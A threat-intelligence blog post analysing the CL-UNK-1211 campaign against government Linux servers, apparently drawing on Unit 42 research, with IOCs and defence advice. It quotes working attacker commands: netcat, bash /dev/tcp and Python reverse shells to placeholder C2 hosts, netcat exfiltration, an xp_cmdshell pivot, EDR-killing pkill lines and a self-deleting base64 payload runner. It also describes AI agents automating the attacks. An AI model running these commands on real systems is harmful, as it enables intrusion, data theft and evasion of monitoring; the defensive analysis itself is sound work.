Skip to main content

AI Has Become a Weapon: How Hacker Group CL-UNK-1211 Uses ChatGPT to Attack Linux Servers?

Updated 25 min readMarkdown
Part of seriesNewsletters-eng
AI Has Become a Weapon: How Hacker Group CL-UNK-1211 Uses ChatGPT to Attack Linux Servers?

Campaign Overview

For more than a decade, security researchers have warned that AI will change the balance in cybersecurity. Now, that warning has come true.

From October 2025 to April 2026, an unidentified group of threat actors - named CL-UNK-1211 by Palo Alto Networks Unit 42 - conducted a sophisticated cyber espionage campaign targeting the Linux infrastructure of government organizations and state-affiliated infrastructure. What makes this campaign especially dangerous is not just the scope or target, but also the method: the attackers used large language models (LLMs) and automated AI agents to generate payloads, deploy malicious scripts, and accelerate the entire attack chain at unprecedented speeds.

Attribute Details
Tracking Name CL-UNK-1211
Active Period October 2025 – April 2026
Targets Government Linux infrastructure and state-affiliated organizations
Objectives Intelligence gathering, credential theft, and access to government-related social media accounts
Key Tools & Malware AI-generated payloads, PHP web shells, and SysGoRAT RAT
C2 Server WebSocket communication via 104.194.158[.]65:443
Classification Cyber Espionage / APT-level activity
Discovery Source Palo Alto Networks Unit 42

What Makes CL-UNK-1211 Different?

Fingerprint of AI - Irrefutable Fingerprint

Unit 42's most important finding is the presence of "conversational, step-by-step reasoning notes" in malicious scripts. This is not ordinary technical documentation, this is how LLMs like GPT or Claude explain code to users.

Confirmed AI-fingerprint signs:

  • Section headers in the script so AI can analyze output faster.
  • Extensive use of Base64-encoded commands - characteristic of AI output.
  • Seamlessly switch between PHP, JavaScript, Bash and Python in the same attack chain.

Targeting Linux — Often Overlooked Infrastructure

While most APT campaigns focus on Windows, CL-UNK-1211 chooses Linux — the operating system that runs most web servers, mail servers and databases of government organizations. This is a strategic choice, not a coincidence.

Timeline of Events & Campaign Cycle

Date Key Technical & Intelligence Events Source
10/2025 First intrusions targeting government Linux servers were observed. The attacker deployed a custom web shell via the php-fpm process and planted a global PHP configuration. Unit 42
11/2025 – 01/2026 The attacker expanded internal reconnaissance, exploited PwnKit (CVE-2021-4034) to escalate to root, and replaced .bashrc files to harvest administrator passwords. They also scanned for the React2Shell vulnerability (CVE-2025-55182). Unit 42
02/2026 – 03/2026 The attacker implanted SysGoRAT malware, which connects to WebSocket C2. They pivoted two hops through MSSQL xp_cmdshell and abused the Qmail mail service to hunt for social media accounts. Unit 42
04/2026 The attacker exfiltrated data in bulk to public cloud storage services (transfer.sh, bashupload.com). They ran a large-scale log-wiping campaign to destroy forensic evidence and tried to kill Cortex XDR processes. Unit 42
15/10/2026 Palo Alto Networks Unit 42 officially published a full technical report exposing the CL-UNK-1211 activity cluster and SysGoRAT malware indicators. Unit 42 Research
21/10/2026 SOC Prime released Sigma/AIDR detection rules and attack behavior emulation scenarios (Regression Test) for CL-UNK-1211. SOC Prime
02/11/2026 The Hacker News compiled and linked the events, placing CL-UNK-1211 within the broader wave of weaponized AI attack agents (ARTEX, PentAGI, Hexstrike, CyberStrikeAI). The Hacker News

Attack Chain

  • Initial Access (T1190, T1505.003): Break in through unpatched internet-facing web applications, drop custom and open source PHP web shells, execute behind the scenes in the context of a web server process (php-fpm).
  • Persistence (T1546.004, T1098.004): Hijacks the auto_prepend_file directive on all PHP instances in the /etc/php/ directory and the Plesk hosting control panel (/opt/plesk/php/), pointing to the disguise file /usr/lib/php/plesk_sys_driver.php.

  • Privilege Escalation (T1068, T1548.001): Using LinPEAS to check for operating system vulnerabilities, weaponizing binary PwnKit (CVE-2021-4034) to gain root rights; Set up a permanent high-privilege backdoor by renaming the Python interpreter to .libpython-helper (run os.setuid(0)), dropping the SUID shell .libsystemd-helper, and assigning the SUID to binary .tourch (a copy of /bin/bash).

  • Credential Access (T1056.001, T1552.001): Create an alias for the sudo command in .bashrc to intercept cleartext passwords when admin users manipulate and secretly write to the disguised file Solarwinds.StatusLog.txt; Insert the password logging code into the PHP login page.

  • Command & Control (T1071.001, T1090.002): Activate SysGoRAT Trojan connecting C2 via secure WebSocket protocol (wss://104.194.158[.]65:443/ws); Build a series of reverse shells that run entirely in memory (In-memory Reverse Shells) and set up a GSocket tunnel (gs-netcat) disguised as a kernel thread process [kcached].

  • Lateral Movement (T1021.004, T1059.004): Performs a 2-hop execution sequence (Double-Hop) originating from the web shell through the MSSQL server's xp_cmdshell stored procedure to control the second SQL server located in the isolated subnet; move laterally using the sshpass command with exhausted login information.

  • Collection (T1114.001, T1005): Scan the /var/qmail/mailnames/ directory, count the number of messages in Maildir/cur/, use the search_social.php script to filter emails related to social networking platforms to hijack government spokesperson accounts; dump database table structure and data to SQLite and CSV.

  • Defense Evasion & Exfiltration (T1562.001, T1070.002, T1048.003, T1567.002): Run the pgrep/pkill script to eliminate the monitoring process of the EDR solution (Cortex XDR); apply timestomping technique (touch -t); planting flags to deceive the investigation team (RedTeamOps2025); compress data and smuggle it out via netcat or push it to public file-sharing platforms (transfer.sh, bashupload.com, filebin.net, catbox.moe).

Detailed Technical Analysis

Code Generation Trace Using AI

One of the most special discoveries of Unit 42 in campaign CL-UNK-1211 is the dense presence of code generation traces using the AI/LLM model directly inside PHP and Bash attack scripts:

  1. Conversational & Reasoning Comments: Completely different from normal programming annotations by programmers or technical annotations by malicious code authors, many code snippets contain comment lines that explain sequentially in a conversational style (conversational annotations). The comment content meticulously explains the logic of each command block to the user who issued the initial prompt (for example: "// Step 1: Check if the configuration path exists, then proceed to inject the payload to ensure persistence"). This proves that the malicious code is copy-pasted verbatim from LLM's chat interface or is automatically coordinated by an agent (autonomous agent) through the model calling API.
  2. Segment structure (Section Headers) machine format: Shell and payload scripts are organized with very clear and standardized segment headers. This is a typical structure that AI Agents often automatically format so that parsing the results returned from the terminal happens faster and without regex errors.
  3. Base64 encoding and diverse language translation: Payload translates seamlessly between PHP, Bash, Python, Go and SQL. Attackers abuse Base64 at high density to bypass static signature WAF filters.
  4. "Hallucination" syntax error (LLM Hallucination/Formatting Artifact): The clearest evidence of AI intervention is the zip_mails.sh script file used by attackers to compress stolen mailboxes. This script contains a silly syntax error: broken variable assignment of the form user=;). This error arises because the code generation language model has problems escaping special characters in markdown code blocks, leading to the script throwing errors right when executed in the real environment.

Initializing Ingress & Dropping PHP Shell auto_prepend_file

After successfully releasing the initial web shells through the php-fpm process, the attacker faces the risk of the web shell being detected or deleted during administrator file scans. To maintain sustained control, they employ global PHP configuration hijacking:

Instead of just placing a single web shell file in the web root directory, they execute a script that automatically scans and modifies the auto_prepend_file directive across all PHP configuration files (php.ini, php-fpm pool configuration) located in:

  • /etc/php/ (Linux system default PHP configuration)
  • /opt/plesk/php/ (PHP versions managed by Plesk web hosting control panel)

The auto_prepend_file directive points directly to a malicious file named disguised as a system driver: /usr/lib/php/plesk_sys_driver.php.

Architectural consequence: Whenever an HTTP request is sent to the server and activates any valid PHP script of the web application, the /usr/lib/php/plesk_sys_driver.php file will automatically load and execute first in memory before the website source code runs. This technique turns every website on the system into a backdoor, allowing attackers to send secret payloads via headers or cookies without creating any new web shell files in the public directory.

Password Stealing & SolarWinds Camouflage

To collect authentication information for privilege escalation and lateral movement, the CL-UNK-1211 group combines both passive and active methods:

Swap the .bashrc file and create a sudo command trap

The attacker modifies the shell environment configuration file ~/.bashrc of users on the system, inserting a wrapper function for the sudo command. When an administrator logs in to the server and types sudo , the rogue function displays a password request message identical to the operating system's standard authentication interface.

After the user enters the password, it will be immediately captured and recorded in a secret log file. The function then forwards this password to the original sudo command to execute the task normally, leaving the administrator completely unaware that the session has been spied on.

Notably, the log file containing the password is named Solarwinds.StatusLog.txt. This is an act of borrowing a famous brand name to bypass analysts and file monitoring tools, causing the operator to mistakenly believe that this is a harmless active file of the SolarWinds network monitoring solution (even though the target system does not have this solution installed).

Implant tracking code in PHP authentication form

At internal web applications and database login pages (for example, the phpMyAdmin interface or the application's authentication page), the attacker directly injects an interceptor PHP script that captures the $_POST['username'] and $_POST['password'] variables, storing it in a local log file or forwarding it externally before authenticating the user.

Scan for cleartext passwords in configuration files

The attacker uses shell commands chained through regex to mass-scan system directories:

  • Search for keywords password, DB_PASSWORD, SMTP_PASS in wp-config.php files, database configuration and web configuration files.

    Read command line history file contents: ~/.bash_history, ~/.zsh_history, ~/.mysql_history.

SysGoRAT Cross-Platform RAT Decoding

The main malware used by CL-UNK-1211 in this campaign is SysGoRAT, a cross-platform Remote Access Trojan developed specifically in the Go language. Initially, the malicious code appeared under the harmless file name sys-control-client, then was renamed to many familiar service identifiers on Linux to avoid detection via the ps command:

  • sys-control-client
  • pip2.7
  • ea_install
  • ./semanage

C2 communication mechanism

SysGoRAT maintains a persistent reverse connection via the secure WebSocket protocol: wss:///ws. The default C2 address hardcoded in the binary is:

104.194.158[.]65:443

The operator can customize this address by passing command line parameters when activating the binary on the victim server. Using WebSocket on port 443 helps the RAT's control flow blend seamlessly with regular HTTPS traffic, easily penetrating perimeter firewalls that only filter packets based on port status.

SysGoRAT core command palette

SysGoRAT supports 7 main task groups:

Command (Action) Detailed Behavior
command Executes arbitrary command lines via /bin/sh -c (on Linux) or cmd.exe /C (on Windows).
control Dispatches 4 advanced sub-function groups (see the Sub-actions table below).
list_dir Browses and lists the directory tree, files, sizes, and permissions on the target system.
shell_input Establishes a bidirectional interactive shell session directly over WebSocket.
proxy_connect Opens a TCP connection to any internal IP/port as requested by the C2.
proxy_data Routes and forwards data bidirectionally (bidirectional relay) through the established proxy connection.
proxy_close Closes the proxy session and releases its resources.

Sub-actions of command branches control

When receiving a control directive packet, SysGoRAT activates 4 specialized features:

  1. shell_start: Initializes an interactive /bin/bash process.
  2. screenshot: Take a screenshot of the server display (if there is X11/GUI) and upload to C2.
  3. download: Read the specified file, compress the data using the gzip algorithm to optimize size, then push it to C2.
  4. persist: Activate the module to automatically install a long-term survival mechanism (Persistence) customized to the environment.

Persistence Mechanisms

SysGoRAT's persist module has 6 extremely sophisticated automatic installation methods:

Method Operating System Implementation Mechanism
systemd Linux Copies its own binary to /usr/local/bin/, creates the service file /etc/systemd/system/sys-update.service, runs systemctl daemon-reload, and enables the service to start automatically at boot.
cron Linux Appends a hidden job entry to the crontab, scheduled to execute every 5 minutes.
registry Windows Copies the binary to %APPDATA%\Onedrive Update\Updater.exe and writes a Run key under HKCU\Software\Microsoft\Windows\CurrentVersion\Run.
schtasks Windows Creates a daily scheduled task disguised under the name Onedrive.
complex Linux / Windows Automatically detects the operating system and selects the most suitable method without checking the current user's privileges.
auto Linux / Windows Checks the privilege level of the running user (root/SYSTEM or standard user) and detects the OS to select the most appropriate persistence method.

In-Memory Reverse Shells & GSocket Tunnel Mechanism

In addition to SysGoRAT, the attack group deployed a network of backchannels running entirely in memory through at least 7 independent C2 servers, eliminating the need to write binary files to the hard drive:

Named Pipe Reverse Shell via Netcat

The main method is implemented on three different C2 servers, taking advantage of the FIFO queue facility to redirect the bash I/O stream over a network port: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc <C2_IP> <C2_PORT> >/tmp/f

Bash TCP Redirect

Exploit Bash's built-in /dev/tcp socket feature to connect directly to an external IP without any additional network tools: bash -i >& /dev/tcp/<C2_IP>/<C2_PORT> 0>&1

Python Subprocess Reverse Shell

Use a one-liner via Python to create the socket, clone the standard stream descriptor via os.dup2() and call /bin/bash: python3 -c "import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(('<C2_IP>',<C2_PORT>)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(['/bin/bash','-i'])"

GSocket tunnel disguises kernel thread [kcached]

The attacker abuses the GSocket framework (an open source tool used to bypass NAT and firewalls) to establish an underground control channel:

  • Binary gs-netcat is located in the shared memory directory /dev/shm/.gs-10085/.
  • When enabled, the process is renamed to [kcached], perfectly emulating a kernel worker thread of a Linux system.
  • Binary gs-dbus support is also enabled to disguise the D-Bus service.
  • The attacker hides parameter flags by passing them directly through the GSOCKET_ARGS environment variable to avoid detection by ps aux progress checks or the auditd tool.
  • Every opened shell session has the HISTFILE=/dev/null directive attached to prevent command logging to the .bash_history file.

Privilege Escalation & Double-Hop Pivoting Techniques Via MSSQL

After gaining an initial foothold as a web user (www-data or application user), CL-UNK-1211 performs escalations and lateral moves with great precision:

Root escalation using LinPEAS & PwnKit

  • Download and execute the open source LinPEAS script to comprehensively scan for local escalation vectors.
  • Exploits a memory overflow vulnerability in the Linux Polkit component identified as CVE-2021-4034 (PwnKit) via an independently compiled binary to immediately elevate root privileges.
  • Secure root rights permanently by:
    • Rename the official Python 3 interpreter to /usr/lib/x86_64-linux-gnu/.libpython-helper. The attacker calls this binary with the flag -c "import os; os.setuid(0); os.setgid(0); os.system('')" to run root commands at any time.
    • Create a SUID backdoor named .libsystemd-helper that automatically sets the UID/GID to 0 before calling the shell.
    • Make a copy of /bin/bash into a .tourch file and assign the flag chmod u+s .tourch.

Double-Hop Pivoting technique via SQL

To bypass the internal firewall separating the public web server partition (DMZ) and the partitions containing the core database, the attack group applies a 2-way bridging strategy:

  1. From the web shell, the attacker connects to an internal Microsoft SQL Server server accessible from the DMZ, then activates the xp_cmdshell procedure:

    EXEC sp_configure 'show advanced options', 1; RECONFIGURE;

    EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

  2. From the first MSSQL server, the attacker continues to call the sqlcmd command line tool to connect to a second SQL Server database server located deep inside another internal subnet completely isolated from the internet. Syntax for executing a 2-hop sequence:

    EXEC xp_cmdshell 'sqlcmd -S [SERVER_IP_2] -U [USERNAME] -P "[PASSWORD]" -Q "EXEC xp_cmdshell ''whoami''" -t 10 2>&1'

This technique allows an attacker to control and execute operating system-level commands on a target server deep within the internal network without opening a direct network connection to that server.

Move laterally using sshpass

With the administrative credentials collected from reviewing the configuration file, they automate SSH connections with the sshpass command, with parameters to disable host key warnings (StrictHostKeyChecking=no) and reduce timeouts (ConnectTimeout=5): sshpass -p "[PASSWORD]" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=5 [USERNAME]@[TARGET_IP] "[COMMAND] 2>&1"

Immediately after entering the target server, they immediately set up password-less access by injecting the SSH Public Key into the ~/.ssh/authorized_keys file and tightening chmod 700 permissions for the .ssh directory.

Qmail Mailbox Targeting & Stratified Data Collection Tactics

CL-UNK-1211's espionage goals go beyond server control and focus strongly on sensitive intelligence data and political accounts:

Target Qmail mail server

The attacker locates servers running the Qmail email service, directly accessing the /var/qmail/mailnames// directory storage structure. They go through each user's Maildir/cur/ folders to count the number of emails and identify the mailboxes with the highest frequency of activity.

Next, we deploy a specialized PHP script called search_social.php. This script extracts the headers of a series of emails to hunt for keywords related to social network accounts (such as Twitter/X, Facebook, Telegram, Google). The core purpose is to search for password reset links or account recovery emails, thereby serving the intention of appropriating official social network accounts of government agencies for information warfare or deeper intelligence reconnaissance.

Staged Database Extraction Strategy

The process of stealing the database is carried out methodically in 3 stages:

  1. Explore and extract small samples: Use the SQL command with TOP 100 clause to sample the first 100 rows from 4 key tables, write to a local SQLite database at /tmp/dump.sqlite.
  2. Full Dump: After confirming sensitive data structures, we export all data to local CSV files and compress them into an archive: tar -czf /tmp/[DB_NAME]_dump.tar.gz -C /tmp [DB_NAME]
  3. Data Exfiltration:
    • Push directly via network port using Netcat: nc [IP] [PORT] < /tmp/[DB_NAME]_dump.tar.gz

      Or disguise it as HTTPS browsing traffic via a curl command that uploads files to temporary public data storage services:

      • transfer[.]sh
      • bashupload[.]com
      • filebin[.]net
      • Upload the WordPress configuration file (wp-config.php) containing database account information to the catbox[.]moe API.

Anti-Digital Forensics & Fraud Deception Red Team (Anti-Forensics)

Attackers spend significant resources on activities that erase traces and distract incident investigation experts:

Disable Endpoint Protection (EDR) solution

The attacker executes shell scripts that use built-in Linux utilities such as pgrep and pkill to search for and signal termination of Cortex XDR security monitoring solution processes running in the background on the server. However, according to actual records from the security firm, the agent's self-protection mechanism (Anti-Tampering) successfully prevented this behavior and triggered an emergency warning to the monitoring center.

pgrep cortex | xargs -r kill -9

pkill -f "cortex" || pkill -f "traps"

Delete the executable immediately after running (Self-Deleting Commands)

For one-time scripts, the attacker packages the entire file writing, execution, and file deletion process into a single command line:

echo '<BASE64_PAYLOAD>' | base64 -d > /tmp/.temp.php && php /tmp/.temp.php && rm -f /tmp/.temp.php

Modifying timestamps (Timestomping)

For web shells and tools that need to be kept on the system for a long time, attackers use the touch -t command to set file access and modification dates back many years before the attack takes place. This technique is intended to deceive the Incident Response team's newly created file search queries.

Cấy dấu vết giả mạo Red Team (Planted Deception)

To create confusion during the incident response process, the attacker intentionally left identifying strings such as RedTeamOps2025 in the script source code and set the password pentest123 for newly created user accounts. This technique is intended to cause preliminary investigators to misjudge this as just a penetration testing activity (Penetration Testing) or a licensed internal exercise, thereby delaying the system isolation process.

Clean up large-scale logs and self-test with scripts

After completing the data theft, they activate a script that automatically erases all traces:

  • Clean shell history: history -c, point HISTFILE=/dev/null, delete .bash_history.
  • Delete or empty the system log files: /var/log/auth.log, /var/log/secure, /var/log/messages, /var/log/syslog.
  • Delete web server logs: Apache (/var/log/apache2/, /var/log/httpd/), Nginx (/var/log/nginx/).
  • Delete PHP sessions: /var/lib/php/sessions/.
  • Run the test script (verify.sh) using the grep command to rescan the entire /var/log/ directory, ensuring the attacker's IP addresses no longer appear in any log lines.

MITRE ATT&CK Framework Mapping

Tactic Technique ID Technique Name Observed Behavior in the Campaign
Initial Access T1190 Exploit Public-Facing Application Exploited a vulnerability in a web application on a Linux server to gain initial access.
Execution T1059.004 Command and Scripting Interpreter: Unix Shell Executed Bash scripts, Python one-liners, and Linux shell commands.
Execution T1059.006 Command and Scripting Interpreter: Python Used Python to open reverse shell sockets and escalate privileges to UID 0.
Persistence T1505.003 Server Software Component: Web Shell Dropped a PHP web shell via the php-fpm process.
Persistence T1546.004 Event Triggered Execution: .bashrc Terminal Replaced .bashrc with a wrapper to steal sudo passwords.
Persistence T1543.002 Create or Modify System Process: systemd Service SysGoRAT created the sys-update.service service for auto-start.
Persistence T1053.003 Scheduled Task/Job: Cron Created a cron job that runs every 5 minutes.
Persistence T1098.004 Account Manipulation: SSH Authorized Keys Injected an SSH public key into ~/.ssh/authorized_keys.
Privilege Escalation T1068 Exploitation for Privilege Escalation Exploited the Polkit vulnerability CVE-2021-4034 (PwnKit) to obtain root privileges.
Privilege Escalation T1548.001 Abuse Elevation Control Mechanism: Setuid and Setgid Created SUID backdoors .libsystemd-helper and .tourch (chmod u+s).
Defense Evasion T1562.001 Impair Defenses: Disable or Modify Tools Used pgrep/pkill to locate and attempt to kill Cortex XDR agent processes.
Defense Evasion T1070.002 Indicator Removal on Host: Clear Linux Logs Wiped authentication, kernel, mail, and web server log files.
Defense Evasion T1070.003 Indicator Removal on Host: Clear Command History Set HISTFILE=/dev/null and ran history -c.
Defense Evasion T1070.006 Indicator Removal on Host: Timestomp Used touch -t to modify the timestamps of the web shell and backdoors.
Defense Evasion T1036.004 Masquerading: Masquerade Task or Service Renamed the GSocket process to [kcached] to masquerade as a kernel thread.
Credential Access T1056.001 Input Capture: Keylogging / Credential Prompt Captured sudo passwords and injected login-harvesting code into PHP pages.
Credential Access T1552.001 Unsecured Credentials: Credentials in Files Searched plaintext configuration files for database and email passwords.
Discovery T1087.001 Account Discovery: Local Accounts Read /etc/passwd and /etc/shadow.
Discovery T1083 File and Directory Discovery Scanned mailboxes in /var/qmail/mailnames/ and wp-config.php files.
Lateral Movement T1021.004 Remote Services: SSH Used sshpass to automate SSH logins to internal servers.
Lateral Movement T1090.001 Proxy: Internal Proxy Used MSSQL xp_cmdshell as a double-hop pivot into internal subnets.
Lateral Movement T1090.002 Proxy: External Proxy Deployed revsocks, pysoxy, and the GSocket framework.
Collection T1114.001 Email Collection: Local Email Collection Extracted social-media-related email content via Qmail.
Collection T1560.001 Archive Collected Data: Archive via Utility Compressed emails and database dumps into .tar.gz or .zip files.
Command & Control T1071.001 Application Layer Protocol: Web Protocols Communicated with C2 over secure WebSocket (WSS, port 443).
Exfiltration T1048.003 Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Network Sent archive files directly over Netcat sockets.
Exfiltration T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage Uploaded data to public file-hosting services (transfer.sh, etc.).

IOCs

File Hashes (SHA-256)

  • 2bf7992e6260c1a98c709fa98ec766fb9f27692f338b30b43ac821b824fd849e
  • 27d799ceadb570bfca890d4c2572314afe57eecf14083d30409da15afdfc4704
  • d73186cea6cf2cf3d48c09139a9d15521365aab675787b4e7a6f81767331c9fd
  • 9e45830171eb607cf2c0fc80f5cc9cc3db39bb937032136990383a595f6f151e
  • c527b94e3d21824a674face4cd9d862e536b60ccbf54573839e3360f99188343
  • d94f75a70b5cabaf786ac57177ed841732e62bdcc9a29e06e5b41d9be567bcfa
  • 44e83f84a5d5219e2f7c3cf1e4f02489cae81361227f46946abe4b8d8245b879
  • 1505a3a727f8899b2ad343519f7bf9c438b8b802f8d6b854f5db3b52f857c76a
  • 76c58fad4f70cf277a15a499b9a2151ac60e7a6b5c7a9ab684843dcc19f0d0a5
  • b1e82c6b0caea177e8bb71ad826867f509c65f0a43a651b50253e7c726566eac

IP Addresses (C2 Servers)

  • 45.88.188[.]140
  • 104.194.158[.]65
  • 109.224.53[.]140
  • 198.23.185[.]234
  • 162.243.175[.]162
  • 154.93.37[.]228
  • 138.68.244[.]146
  • 141.164.58[.]87
  • 88.80.150[.]232
  • 185.21.136[.]6
  • 88.119.167[.]57
  • 173.212.247[.]23
  • 72.61.89[.]179
  • 104.248.131[.]53
  • 147.182.224[.]216
  • 93.93.112[.]57
  • 192.210.183[.]17

Domains

  • magento[.]ink
  • solidmonpe[.]com
  • wibu-bau-bawang[.]online
  • beraskencur[.]site

Expert Comments FPT IS SOC

Through analyzing the CL-UNK-1211 campaign, the FPT IS SOC team drew 3 core real-life observations:

  • AI Paradox: Mechanical speed but obvious traces (Velocity vs. Noise): Attackers use LLM to automatically generate code to speed up the intrusion process and reduce malware development manpower. However, AI leaves very rough "fingerprints": forgotten conversational comments and silly syntax errors (like user=;)) that crash the script. AI helps speed up campaigns, but at the same time creates a large amount of noise that helps EDR systems identify abnormalities faster.
  • Weaponization turning point: From generating support code to autonomous agents (Autonomous Offensive Agents): CL-UNK-1211 marks the transition from using AI alone for support (writing phishing emails, finding bugs) to embedding AI as the center for coordinating automated attacks (similar to ARTEX, PentAGI, CyberStrikeAI frameworks). The attacker assigns the AI ​​to analyze the results returned from the web shell, choose the next command, and flexibly switch between PHP, Bash, Python, Go, and SQL without manual intervention.
  • Three critical weaknesses of Linux servers in Vietnam: Linux is a key infrastructure of the Vietnamese government and businesses, but there are 3 common defense vulnerabilities:
    • Abusing the hosting control panel (Plesk/cPanel): Allows attackers with just one web shell to implant a global backdoor via auto_prepend_file, controlling a series of websites on the same server.
    • Delay in patching basic vulnerabilities: Polkit PwnKit bug (CVE-2021-4034) has had a patch since 2022 but is still successfully exploited to gain root privileges.
    • Monitoring blind spots on Linux: Many units only use soft firewalls and lack EDR to monitor behavior, making techniques such as in-memory reverse shell or GSocket disguising kernel streams [kcached] easily bypass the operations team.

Comprehensive Defense Recommendations

Emergency Phase (Immediate: 0 - 24 Hours)

Check global PHP configuration:

Run the command to check for the presence of the auto_prepend_file directive on the entire server: grep -rn "auto_prepend_file" /etc/php/ /opt/plesk/php/ /etc/httpd/ /etc/nginx/ 2>/dev/null

If you detect a path pointing to a strange file (like /usr/lib/php/plesk_sys_driver.php), immediately isolate the server for investigation.

Scan the .bashrc environment initialization file:

Look for wrapper functions or aliases that impersonate the sudo command:

grep -rn "Solarwinds.StatusLog.txt" /home/ /root/ /etc/skel/ 2>/dev/null

grep -rn "read -s" /home/*/.bashrc /root/.bashrc 2>/dev/null

Block emergency C2 network connections:

Set up a rule on Firewall/UTM to prevent all incoming/outgoing connections to IP C2 SysGoRAT: 104.194.158[.]65, list of 17 IPs in the IOCs table and domain names magento[.]ink, solidmonpe[.]com, wibu-bau-bawang[.]online, beraskencur[.]site.

Check for unusual processes running from shared memory:

Examine the /dev/shm directory and check to see if any user processes are impersonating the kernel thread:

ls -la /dev/shm/

ps aux | grep -E "[kcached]|sys-control-client|pip2.7|ea_install"

Short-term: 1 - 7 Days

Vulnerability management and emergency patching:

Update the policykit-1 (Polkit) package to completely patch the PwnKit vulnerability (CVE-2021-4034); Scans and updates web components affected by the React2Shell vulnerability (CVE-2025-55182).

Audit files with SUID/SGID flags:

List all binaries with SUID permissions on the system to detect backdoors such as .tourch or .libsystemd-helper:

find / -perm -4000 -type f -exec ls -la {} ; 2>/dev/null

Tighten Egress Filtering policy:

Service servers (especially Database Server and Web Server) are absolutely not allowed to connect directly to the internet freely. Block all outbound traffic, only allowing necessary IP ranges through authenticated proxies. Blocks ports commonly used for reverse shells and non-standard network communications.

Check the integrity of the SSH key file:

Review the ~/.ssh/authorized_keys file of all local accounts, immediately revoking public keys of unknown origin.

Long-term: Architecture & Process

Deploy EDR synchronously on 100% Linux servers:

Equipped with new generation EDR solutions capable of analyzing process behavior (Process Behavior Analytics), detecting shell history deletion behavior (HISTFILE=/dev/null), detecting loading of malicious PHP modules and having an anti-tampering mechanism (Anti-Tampering) to protect agent processes against the pkill command.

Enhanced execution control with SELinux/AppArmor:

Enable Enforcing mode for SELinux or configure AppArmor for web services (php-fpm, Apache, Nginx) to prevent web processes from executing dangerous binary commands (/bin/sh, /bin/bash, nc, python, mkfifo).

Zero Trust Network Partition & Disable Redundancy:

  • Completely isolate database servers and internal servers from the DMZ network area; Strictly control connection flows between partitions.
  • Disable the xp_cmdshell procedure on all MSSQL server clusters if there is no real business need:

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;

EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;

Monitor encrypted traffic and detect DNS/Proxy anomalies:

Deploy NDR (Network Detection and Response) solution to monitor unusually long WebSocket connections and detect large data transfers to public file sharing services.

References

Government Linux Servers Targeted With SysGoRAT and Suspected AI-Generated Scripts

AI-Powered Espionage Campaign Targets Government Linux Infrastructure

CL-UNK-1211 Uses AI Payloads to Target Governments

No comments yet. Be the first to comment.

More from this blog